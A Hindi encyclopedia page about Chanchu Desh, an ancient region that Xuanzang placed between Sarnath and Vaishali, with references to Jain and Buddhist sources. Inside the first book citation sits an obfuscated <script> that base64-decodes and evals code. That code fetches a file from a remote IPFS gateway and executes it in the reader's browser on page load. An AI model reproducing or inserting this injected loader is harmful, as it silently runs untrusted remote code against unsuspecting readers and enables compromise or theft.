चंचू देश
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व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:13, 16 जून 2013 का अवतरण (Text replace - "<references/> *पुस्तक- ऐतिहासिक स्थानावली, लेखक-विजयेन्द्र कुमार माथुर, प्रकाशन- राजस्थान ग्रंथ अका)
चंचु देश का उल्लेख चीनी यात्री युवानच्वांग ने किया है। युवानच्वांग ने इस देश को सारनाथ और वैशाली के बीच में स्थित बताया है। शायद 'आलवक', जिसका अभिज्ञान पुरातत्वशास्त्री कनिंघम ने गाजीपुर के निकटवर्ती क्षेत्र से किया है, वह यही था।[1]
- चीनी यात्री युवानच्वांग ने आलवक देश को ही शायद चंचु कहा है। इसकी राजधानी 'सुत्तनिपात' में 'आलवी' बताई गई है[2] जो 'उवास गदसाओ' नामक ग्रंथ[3] की आलभिया या आलंभिका जान पड़ती है।
- होर्नल के अनुसार आलवी की गणना अभिधानप्पदीपिका में बीस उत्तर-भारतीय नगरों के अंतर्गत की गई है।
- जैन ग्रंथ कल्पसूत्र में उल्लेख है कि तीर्थंकर महावीर ने आलविका में एक वर्षाकाल व्यतीत किया था।
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 314 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ सुत्तनिपा, दि बुक ऑव किंडरेड सेइंग्ज पृ. 275
- ↑ भाग-2, पृष्ठ 103
- ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार